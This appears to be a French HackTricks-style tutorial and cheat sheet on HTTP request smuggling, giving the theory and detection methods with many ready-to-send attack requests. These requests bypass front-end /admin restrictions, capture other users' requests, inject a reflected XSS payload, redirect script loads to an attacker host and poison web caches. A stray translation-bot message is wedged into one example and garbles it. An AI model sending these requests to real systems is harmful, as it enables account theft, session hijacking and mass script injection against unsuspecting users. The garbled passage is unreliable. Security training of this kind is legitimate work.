HTTP Request Smuggling / HTTP Desync Attack

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que c’est

Cette vulnérabilité survient lorsqu’une désynchronisation entre les front-end proxies et le serveur back-end permet à un attaquant d’envoyer une requête HTTP qui sera interprétée comme une seule requête par les front-end (load balancer/reverse-proxy) et comme 2 requêtes par le serveur back-end.
Cela permet à un utilisateur de modifier la requête suivante qui arrive au back-end après la sienne.

Théorie

RFC Specification (2161)

Si un message est reçu avec à la fois un champ d’en-tête Transfer-Encoding et un champ d’en-tête Content-Length, ce dernier DOIT être ignoré.

Content-Length

L’en-tête d’entité Content-Length indique la taille du corps de l’entité, en octets, envoyé au destinataire.

Transfer-Encoding: chunked

L’en-tête Transfer-Encoding spécifie la forme d’encodage utilisée pour transférer en toute sécurité le corps de la charge utile vers l’utilisateur.
Chunked signifie que les données volumineuses sont envoyées en une série de chunks.

Réalité

Le Front-End (un load-balancer / Reverse Proxy) traite l’en-tête Content-Length ou l’en-tête Transfer-Encoding et le serveur Back-End traite l’autre, provoquant une désynchronisation entre les deux systèmes.
Ceci peut être très critique car un attaquant pourra envoyer une requête au reverse proxy qui sera interprétée par le serveur back-end comme 2 requêtes distinctes. Le danger de cette technique réside dans le fait que le back-end interprétera la 2ème requête injectée comme si elle provenait du client suivant et la vraie requête de ce client fera partie de la requête injectée.

Particularités

Rappelez-vous qu’en HTTP un caractère de nouvelle ligne est composé de 2 octets :

  • Content-Length : Cet en-tête utilise un nombre décimal pour indiquer le nombre d’octets du corps de la requête. Le corps est censé se terminer au dernier caractère, une nouvelle ligne n’est pas nécessaire en fin de requête.
  • Transfer-Encoding : Cet en-tête utilise dans le corps un nombre hexadécimal pour indiquer le nombre d’octets du chunk suivant. Le chunk doit se terminer par une nouvelle ligne, mais cette nouvelle ligne n’est pas comptée par l’indicateur de longueur. Cette méthode de transfert doit se terminer par un chunk de taille 0 suivi de 2 nouvelles lignes : 0
  • Connection : D’après mon expérience, il est recommandé d’utiliser Connection: keep-alive sur la première requête du Request Smuggling.

Visible - Hidden

Le problème principal avec HTTP/1.1 est que toutes les requêtes transitent par le même socket TCP ; donc si une discordance est trouvée entre deux systèmes recevant des requêtes, il est possible d’envoyer une requête qui sera traitée comme 2 requêtes différentes (ou plus) par le back-end final (ou même des systèmes intermédiaires).

This blog post propose de nouvelles manières de détecter les attaques de désynchronisation sur un système qui ne seraient pas détectées par les WAFs. Pour cela il présente les comportements Visible vs Hidden. L’objectif dans ce cas est d’essayer de trouver des discordances dans la réponse en utilisant des techniques qui pourraient causer des desyncs sans réellement exploiter quoi que ce soit.

Par exemple, envoyer une requête avec l’en-tête Host normal et un en-tête “ host“ (avec un espace), si le back-end se plaint de cette requête (peut-être parce que la valeur de “ host“ est incorrecte), cela peut signifier que le front-end n’a pas pris en compte l’en-tête “ host“ tandis que le back-end l’a utilisé, ce qui implique très probablement une désynchronisation entre front-end et back-end.

Ceci serait une discordance Hidden-Visible.

Si le front-end avait pris en compte l’en-tête “ host“ mais que le back-end ne l’a pas fait, cela pourrait être une situation Visible-Hidden.

Par exemple, cela a permis de découvrir des desyncs entre AWS ALB en front-end et IIS en back-end. C’était parce que lorsque “Host: foo/bar” était envoyé, l’ALB retournait 400, Server; awselb/2.0, mais lorsque “Host : foo/bar” était envoyé, il retournait 400, Server: Microsoft-HTTPAPI/2.0, indiquant que le back-end envoyait la réponse. C’est une situation Hidden-Visible (H-V).

Notez que cette situation n’est pas corrigée dans AWS, mais elle peut être évitée en configurant routing.http.drop_invalid_header_fields.enabled et routing.http.desync_mitigation_mode = strictest.

Exemples de base

Tip

Lors de tentatives d’exploitation avec Burp Suite désactivez Update Content-Length et Normalize HTTP/1 line endings dans le repeater car certains gadgets abusent des newlines, carriage returns et des Content-Length malformés.

Les attaques de HTTP request smuggling sont construites en envoyant des requêtes ambiguës qui exploitent des discordances dans la façon dont les front-end et back-end interprètent les en-têtes Content-Length (CL) et Transfer-Encoding (TE). Ces attaques peuvent se manifester sous différentes formes, principalement CL.TE, TE.CL, et TE.TE. Chaque type représente une combinaison unique de la manière dont les front-end et back-end priorisent ces en-têtes. Les vulnérabilités apparaissent lorsque les serveurs traitent la même requête de façons différentes, conduisant à des résultats inattendus et potentiellement malveillants.

Exemples basiques de types de vulnérabilité

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

Au tableau précédent vous devriez ajouter la technique TE.0, semblable à la technique CL.0 mais utilisant Transfer-Encoding.

CL.TE Vulnerability (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)

  • Front-End (CL) : Traite la requête en se basant sur l’en-tête Content-Length.

  • Back-End (TE) : Traite la requête en se basant sur l’en-tête Transfer-Encoding.

  • Scénario d’attaque :

  • L’attaquant envoie une requête où la valeur de l’en-tête Content-Length ne correspond pas à la longueur réelle du contenu.

  • Le front-end transmet la requête entière au back-end, en se basant sur la valeur de Content-Length.

  • Le back-end traite la requête comme chunked à cause de l’en-tête Transfer-Encoding: chunked, interprétant les données restantes comme une requête séparée et ultérieure.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)

  • Front-End (TE) : Traite la requête en se basant sur l’en-tête Transfer-Encoding.

  • Back-End (CL) : Traite la requête en se basant sur l’en-tête Content-Length.

  • Scénario d’attaque :

  • L’attaquant envoie une requête chunked où la taille du chunk (7b) et la longueur réelle du contenu (Content-Length: 4) ne correspondent pas.

  • Le front-end, respectant Transfer-Encoding, transmet l’intégralité de la requête au back-end.

  • Le back-end, respectant Content-Length, ne traite que la première partie de la requête (7b octets), laissant le reste faire partie d’une requête ultérieure non voulue.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding utilisé par les deux, avec obfuscation)

  • Serveurs : Les deux supportent Transfer-Encoding, mais l’un peut être trompé pour l’ignorer via de l’obfuscation.

  • Scénario d’attaque :

  • L’attaquant envoie une requête avec des en-têtes Transfer-Encoding obfusqués.

  • Selon lequel des serveurs (front-end ou back-end) ne reconnaît pas l’obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.

  • La partie non traitée de la requête, telle que vue par l’un des serveurs, devient partie d’une requête ultérieure, conduisant au smuggling.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length utilisé par le Front-End et le Back-End)

  • Les deux serveurs traitent la requête uniquement en se basant sur l’en-tête Content-Length.
  • Ce scénario ne conduit généralement pas au smuggling, car il y a alignement dans la façon dont les deux serveurs interprètent la longueur de la requête.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Se réfère aux scénarios où l’en-tête Content-Length est présent et a une valeur autre que zéro, indiquant que le corps de la requête contient des données. Le back-end ignore l’en-tête Content-Length (qui est traité comme 0), mais le front-end l’analyse.
  • C’est crucial pour comprendre et construire des attaques de smuggling, car cela influence la manière dont les serveurs déterminent la fin d’une requête.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Comme le précédent mais en utilisant TE.
  • Technique reported here
  • Exemple:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scénario

Dans une situation 0.CL, une requête est envoyée avec un Content-Length comme :

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Et le front-end ne prend pas en compte le Content-Length, donc il n’envoie au backend que la première requête (jusqu’au 7 dans l’exemple). Cependant, le backend voit le Content-Length et attend un corps qui n’arrive jamais, car le front-end attend déjà la réponse.

En revanche, s’il existe une requête qu’il est possible d’envoyer au backend et qui reçoit une réponse avant que le corps de la requête n’ait été reçu, cet interblocage ne se produira pas. Dans IIS par exemple, cela se produit en envoyant des requêtes vers des noms interdits comme /con (voir la documentation). De cette façon, la requête initiale recevra une réponse directe et la seconde requête contiendra la requête de la victime comme :

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Ceci est utile pour provoquer un desync, mais cela n’aura eu aucun impact jusqu’à présent.

Cependant, l’article propose une solution pour cela en convertissant une 0.CL attack into a CL.0 with a double desync.

Faire planter le serveur web

Cette technique est aussi utile dans des scénarios où il est possible de faire planter un serveur web lors de la lecture des données HTTP initiales mais sans fermer la connexion. De cette façon, le corps de la requête HTTP sera considéré comme la requête HTTP suivante.

Par exemple, comme expliqué dans this writeup, dans Werkzeug il était possible d’envoyer certains caractères Unicode et cela faisait planter le serveur. Cependant, si la connexion HTTP avait été créée avec l’en-tête Connection: keep-alive, le corps de la requête ne sera pas lu et la connexion restera ouverte, si bien que le corps de la requête sera traité comme la requête HTTP suivante.

Forçage via hop-by-hop headers

En abusant des hop-by-hop headers, vous pouvez indiquer au proxy de supprimer l’en-tête Content-Length ou Transfer-Encoding, ce qui permettrait d’abuser du HTTP request smuggling.

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

Trouver HTTP Request Smuggling

Identifier des vulnérabilités de HTTP request smuggling peut souvent se faire en utilisant des techniques de timing, qui reposent sur l’observation du temps de réponse du serveur à des requêtes manipulées. Ces techniques sont particulièrement utiles pour détecter les vulnérabilités CL.TE et TE.CL. En plus de ces méthodes, d’autres stratégies et outils peuvent être utilisés pour trouver de telles vulnérabilités :

Finding CL.TE Vulnerabilities Using Timing Techniques

  • Méthode :

  • Envoyer une requête qui, si l’application est vulnérable, fera que le serveur back-end attendra des données supplémentaires.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation :

  • Le front-end traite la requête en se basant sur Content-Length et coupe le message prématurément.

  • Le back-end, s’attendant à un message chunked, attend le chunk suivant qui n’arrive jamais, provoquant un délai.

  • Indicateurs :

  • Timeouts ou longs délais de réponse.

  • Réception d’une erreur 400 Bad Request depuis le back-end, parfois avec des informations détaillées sur le serveur.

Finding TE.CL Vulnerabilities Using Timing Techniques

  • Méthode :

  • Envoyer une requête qui, si l’application est vulnérable, fera que le serveur back-end attendra des données supplémentaires.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation :
  • Le front-end traite la requête en se basant sur Transfer-Encoding et transfère l’ensemble du message.
  • Le back-end, s’attendant à un message basé sur Content-Length, attend des données supplémentaires qui n’arrivent jamais, provoquant un délai.

Autres méthodes pour trouver des vulnérabilités

  • Differential Response Analysis :
  • Envoyer des versions légèrement variées d’une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une divergence de parsing.
  • Using Automated Tools :
  • Des outils comme l’extension ‘HTTP Request Smuggler’ de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambiguës et en analysant les réponses.
  • Content-Length Variance Tests :
  • Envoyer des requêtes avec des valeurs Content-Length variables qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère ces discordances.
  • Transfer-Encoding Variance Tests :
  • Envoyer des requêtes avec des en-têtes Transfer-Encoding obfusqués ou malformés et surveiller comment le front-end et le back-end répondent différemment à ces manipulations.

The Expect: 100-continue header

Vérifiez comment cet en-tête peut aider à exploiter un http desync dans :

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Après avoir confirmé l’efficacité des techniques de timing, il est crucial de vérifier si les requêtes client peuvent être manipulées. Une méthode simple consiste à tenter de poisoner vos requêtes, par exemple faire en sorte qu’une requête vers / retourne un 404. Les exemples CL.TE et TE.CL discutés précédemment dans Basic Examples montrent comment empoisonner la requête d’un client pour provoquer un 404, alors que le client vise une ressource différente.

Considérations clés

Lors de tests de request smuggling en interférant avec d’autres requêtes, gardez à l’esprit :

  • Distinct Network Connections : Les requêtes “attack” et “normal” doivent être envoyées sur des connexions réseau distinctes. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
  • Consistent URL and Parameters : Essayez d’utiliser des URL et noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des back-ends spécifiques en fonction de l’URL et des paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, condition nécessaire pour une attaque réussie.
  • Timing and Racing Conditions : La requête “normal”, destinée à détecter l’interférence de la requête “attack”, est en compétition avec d’autres requêtes concurrentes de l’application. Envoyez donc la requête “normal” immédiatement après la requête “attack”. Les applications très chargées peuvent nécessiter plusieurs essais pour une confirmation concluante.
  • Load Balancing Challenges : Les front-ends agissant comme des load balancers peuvent répartir les requêtes sur plusieurs back-ends. Si les requêtes “attack” et “normal” aboutissent sur des systèmes différents, l’attaque échouera. Cet aspect du load balancing peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
  • Unintended User Impact : Si votre attaque affecte involontairement la requête d’un autre utilisateur (et non la requête “normal” que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l’application. Des tests répétés pourraient perturber d’autres utilisateurs ; procédez avec prudence.

Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling

La réutilisation de la connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de “smuggling” dans des outils de test qui envoient plusieurs requêtes sur la même socket. Apprenez à distinguer les artefacts inoffensifs côté client des vrais desyncs côté serveur.

Why pipelining creates classic false positives

HTTP/1.1 réutilise une seule connexion TCP/TLS et concatène requêtes et réponses sur le même flux. En pipelining, le client envoie plusieurs requêtes à la suite et attend des réponses dans l’ordre. Un faux positif classique est de renvoyer deux fois une payload malformée de style CL.0 sur une seule connexion :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Je n’ai pas reçu le contenu du fichier. Merci de coller ici le contenu de src/pentesting-web/http-request-smuggling/README.md à traduire en français. Je conserverai strictement la syntaxe Markdown/HTML et n’effectuerai pas la traduction des éléments indiqués (code, noms de techniques, mots-clés comme leak, pentesting, noms de plateformes, liens, chemins, balises, etc.).

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Si le serveur a ignoré le Content_Length malformé, il n’y a pas de désynchronisation FE↔BE. Lors de la réutilisation, votre client a en réalité envoyé ce flux d’octets, que le serveur a analysé comme deux requêtes indépendantes :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact : aucun. Vous venez simplement de désynchroniser votre client par rapport au cadrage du serveur.

Tip

Modules Burp dépendant de reuse/pipelining : Turbo Intruder avec requestsPerConnection>1, Intruder avec “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” ou “Enable connection reuse”.

Tests de vérification : pipelining ou vraie désynchronisation ?

  1. Désactivez le reuse et retestez
  • Dans Burp Intruder/Repeater, désactivez HTTP/1 reuse et évitez “Send group in sequence”.
  • Dans Turbo Intruder, mettez requestsPerConnection=1 et pipeline=False.
  • Si le comportement disparaît, il s’agissait probablement de pipelining côté client, sauf si vous avez affaire à des targets connection‑locked/stateful ou à une désynchronisation côté client.
  1. Vérification HTTP/2 nested-response
  • Envoyez une requête HTTP/2. Si le corps de la réponse contient une réponse HTTP/1 complète imbriquée, vous avez prouvé un bug de parsing/désynchronisation côté backend plutôt qu’un simple artefact client.
  1. Sonde de partial-requests pour front-ends connection‑locked
  • Certains FEs ne réutilisent la connexion upstream que si le client a réutilisé la sienne. Utilisez des partial-requests pour détecter un comportement FE qui reflète la réutilisation côté client.
  • Voir PortSwigger “Browser‑Powered Desync Attacks” pour la technique connection‑locked.
  1. Probes d’état
  • Cherchez des différences entre la première requête et les requêtes suivantes sur la même connexion TCP (routing/validation de la première requête).
  • Burp “HTTP Request Smuggler” inclut une sonde d’état de connexion qui automatise cela.
  1. Visualisez le wire
  • Utilisez l’extension Burp “HTTP Hacker” pour inspecter la concaténation et le découpage des messages directement pendant vos essais avec reuse et partial requests.

Connection‑locked request smuggling (reuse-required)

Certains front-ends ne réutilisent la connexion upstream que lorsque le client réutilise la sienne. Un smuggling réel existe mais est conditionné par la réutilisation côté client. Pour distinguer et prouver l’impact :

  • Prouvez le bug côté serveur
  • Utilisez la vérification HTTP/2 nested-response, ou
  • Utilisez des partial-requests pour montrer que le FE ne réutilise l’upstream que lorsque le client le fait.
  • Montrez un impact réel même si l’exploitation directe cross-user du socket est bloquée :
  • Cache poisoning : poisonner les caches partagés via la désync pour que les réponses affectent d’autres utilisateurs.
  • Internal header disclosure : refléter des headers injectés par le FE (p.ex. headers auth/trust) et pivoter vers un contournement d’auth.
  • Bypass des contrôles FE : smuggler des paths/méthodes restreints au-delà du front-end.
  • Abus du header Host : combiner avec des quirks de routage host pour pivoter vers des vhosts internes.
  • Workflow opérateur
  • Reproduisez avec une réutilisation contrôlée (Turbo Intruder requestsPerConnection=2, ou onglet de groupe Burp Repeater → “Send group in sequence (single connection)”).
  • Puis enchaînez vers des primitives de cache/header‑leak/control‑bypass et démontrez un impact cross-user ou d’autorisation.

Voir aussi connection‑state attacks, qui sont étroitement liées mais pas techniquement du smuggling :

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Contraintes de désynchronisation côté client

Si vous ciblez une désynchronisation s’appuyant sur le navigateur/client-side desync, la requête malveillante doit pouvoir être envoyée par un navigateur cross-origin. Les tricks d’obfuscation d’en‑têtes ne fonctionneront pas. Concentrez‑vous sur des primitives accessibles via navigation/fetch, puis pivotez vers cache poisoning, header disclosure ou contournement de contrôles front-end lorsque des composants downstream reflètent ou mettent en cache les réponses.

Pour le contexte et des workflows bout‑en‑bout :

Browser HTTP Request Smuggling

Outils pour aider à décider

  • HTTP Hacker (Burp BApp Store) : expose le comportement HTTP bas niveau et la concaténation de sockets.
  • “Smuggling or pipelining?” Burp Repeater Custom Action : https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder : contrôle précis de la réutilisation de connexion via requestsPerConnection.
  • Burp HTTP Request Smuggler : inclut une sonde d’état de connexion pour repérer le routing/validation de la première requête.

Note

Traitez les effets liés uniquement au reuse comme non-problématiques sauf si vous pouvez prouver une désynchronisation côté serveur et attacher un impact concret (artefact de cache empoisonné, header interne divulgué permettant un contournement de privilège, contrôle FE contourné, etc.).

Abusing HTTP Request Smuggling

Circumventer la sécurité Front-End via HTTP Request Smuggling

Parfois, des proxies front-end appliquent des mesures de sécurité et examinent les requêtes entrantes. Cependant, ces contrôles peuvent être contournés en exploitant HTTP Request Smuggling, permettant l’accès non autorisé à des endpoints restreints. Par exemple, accéder à /admin peut être interdit depuis l’extérieur, le proxy front‑end bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d’inspecter les requêtes imbriquées dans une requête HTTP smuggled, laissant une faille pour contourner ces restrictions.

Considérez les exemples suivants illustrant comment HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité front-end, ciblant spécifiquement le path /admin qui est typiquement protégé par le proxy front-end :

Exemple CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Dans l’attaque CL.TE, l’en-tête Content-Length est utilisé pour la requête initiale, tandis que la requête imbriquée suivante utilise l’en-tête Transfer-Encoding: chunked. Le proxy frontal traite la requête POST initiale mais n’inspecte pas la requête imbriquée GET /admin, ce qui permet un accès non autorisé au chemin /admin.

TE.CL Exemple

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Inversement, dans l’attaque TE.CL, la requête initiale POST utilise Transfer-Encoding: chunked, et la requête intégrée suivante est traitée selon l’en-tête Content-Length. Comme pour l’attaque CL.TE, le proxy front-end ignore la requête dissimulée GET /admin, accordant involontairement l’accès au chemin restreint /admin.

Révéler la réécriture des requêtes front-end

Les applications utilisent souvent un serveur front-end pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que X-Forwarded-For: <IP of the client>, pour relayer l’IP du client au back-end. Comprendre ces modifications peut être crucial, car cela peut révéler des moyens de contourner des protections ou de dévoiler des informations ou endpoints cachés.

Pour étudier comment un proxy modifie une requête, localisez un paramètre POST que le back-end réémet dans la réponse. Ensuite, créez une requête en plaçant ce paramètre en dernier, similaire à la suivante :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Dans cette structure, les composants suivants de la request sont ajoutés après search=, qui est le paramètre reflété dans la réponse. Cette réflexion exposera les headers de la request suivante.

Il est important d’aligner le header Content-Length de la request imbriquée sur la longueur réelle du contenu. Il est conseillé de commencer par une valeur faible et de l’incrémenter progressivement : une valeur trop basse tronquera les données réfléchies, tandis qu’une valeur trop élevée peut provoquer une erreur de la request.

Cette technique est également applicable dans le contexte d’une vulnérabilité TE.CL, mais la request doit se terminer par search=\r\n0. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre search.

Cette méthode sert principalement à comprendre les modifications de request effectuées par le front-end proxy, effectuant essentiellement une enquête auto-dirigée.

Capturer les requests des autres utilisateurs

Il est possible de capturer les requests de l’utilisateur suivant en ajoutant une request spécifique comme valeur d’un paramètre lors d’une opération POST. Voici comment cela peut être accompli :

En ajoutant la request suivante comme valeur d’un paramètre, vous pouvez stocker la request du client suivant :

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Dans ce scénario, le comment parameter est destiné à stocker le contenu de la section de commentaires d’un post sur une page accessible publiquement. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire.

Cependant, cette technique a des limites. En général, elle capture les données uniquement jusqu’au délimiteur de paramètre utilisé dans la requête smuggled. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère &. Cela signifie que le contenu capturé par la requête de la victime s’arrêtera au premier &, qui peut même faire partie de la query string.

De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans ces cas, la requête doit se terminer par search=\r\n0. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre search.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling peut être mis à profit pour exploiter des pages web vulnérables à Reflected XSS, offrant des avantages importants :

  • L’interaction avec les utilisateurs ciblés n’est pas requise.
  • Permet l’exploitation de XSS dans des parties de la requête qui sont normalement inaccessibles, comme les HTTP request headers.

Dans les scénarios où un site est vulnérable à Reflected XSS via le User-Agent header, le payload suivant démontre comment exploiter cette vulnérabilité :

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ce payload est structuré pour exploiter la vulnérabilité en :

  1. Initier une requête POST, apparemment typique, avec un header Transfer-Encoding: chunked pour indiquer le début du smuggling.
  2. Suivi d’un 0, marquant la fin du corps du message chunked.
  3. Ensuite, une requête GET smuggled est introduite, où le header User-Agent est injecté avec un script, <script>alert(1)</script>, déclenchant la XSS lorsque le serveur traite cette requête ultérieure.

En manipulant le User-Agent via smuggling, le payload contourne les contraintes normales des requêtes, exploitant ainsi la vulnérabilité Reflected XSS de manière non standard mais efficace.

HTTP/0.9

Caution

Si le contenu utilisateur est reflété dans une réponse avec un Content-type tel que text/plain, empêchant l’exécution du XSS. Si le serveur prend en charge HTTP/0.9 il pourrait être possible de contourner cela !

La version HTTP/0.9 précédait HTTP/1.0 et n’utilise que les verbes GET et ne répond pas avec des headers, seulement le body.

Dans this writeup, cela a été abusé avec un request smuggling et un endpoint vulnérable qui renverra l’entrée de l’utilisateur pour smuggler une requête en HTTP/0.9. Le paramètre reflété dans la réponse contenait une fake HTTP/1.1 response (with headers and body), de sorte que la réponse contient du code JS exécutable valide avec un Content-Type de text/html.

Exploiter les redirections sur site avec HTTP Request Smuggling

Les applications redirigent souvent d’une URL à une autre en utilisant le nom d’hôte du header Host dans l’URL de redirection. C’est courant avec des web servers comme Apache et IIS. Par exemple, demander un dossier sans slash final entraîne une redirection pour inclure le slash :

GET /home HTTP/1.1
Host: normal-website.com

Résulte en :

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Bien que apparemment inoffensif, ce comportement peut être manipulé en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Cette requête smuggled pourrait entraîner la redirection de la prochaine requête utilisateur traitée vers un site contrôlé par un attaquant :

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Résulte en :

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Dans ce scénario, la requête d’un utilisateur pour un fichier JavaScript est détournée. L’attacker peut potentiellement compromettre l’utilisateur en renvoyant du JavaScript malveillant en réponse.

Exploitation de Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning peut être exécuté si un composant de l’infrastructure front-end met en cache du contenu, typiquement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de poison the cache.

Précédemment, nous avons observé comment les réponses serveur pouvaient être altérées pour renvoyer une erreur 404 (voir Basic Examples). De même, il est faisable de tromper le serveur pour qu’il délivre le contenu de /index.html en réponse à une requête pour /static/include.js. Par conséquent, le contenu de /static/include.js est remplacé dans le cache par celui de /index.html, rendant /static/include.js inaccessible aux utilisateurs, pouvant mener à un Denial of Service (DoS).

Cette technique devient particulièrement puissante si une Open Redirect vulnerability est découverte ou s’il existe un on-site redirect to an open redirect. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de /static/include.js par un script sous le contrôle de l’attacker, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le /static/include.js mis à jour.

Ci-dessous une illustration de l’exploitation de cache poisoning combined with an on-site redirect to open redirect. L’objectif est d’altérer le contenu du cache de /static/include.js pour servir du code JavaScript contrôlé par l’attacker :

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Remarquez la requête intégrée ciblant /post/next?postId=3. Cette requête sera redirigée vers /post?postId=4, en utilisant la Host header value pour déterminer le domaine. En modifiant la Host header, l’attaquant peut rediriger la requête vers son domaine (on-site redirect to open redirect).

Après un socket poisoning réussi, une GET request pour /static/include.js doit être initiée. Cette requête sera contaminée par la précédente requête on-site redirect to open redirect et récupérera le contenu du script contrôlé par l’attaquant.

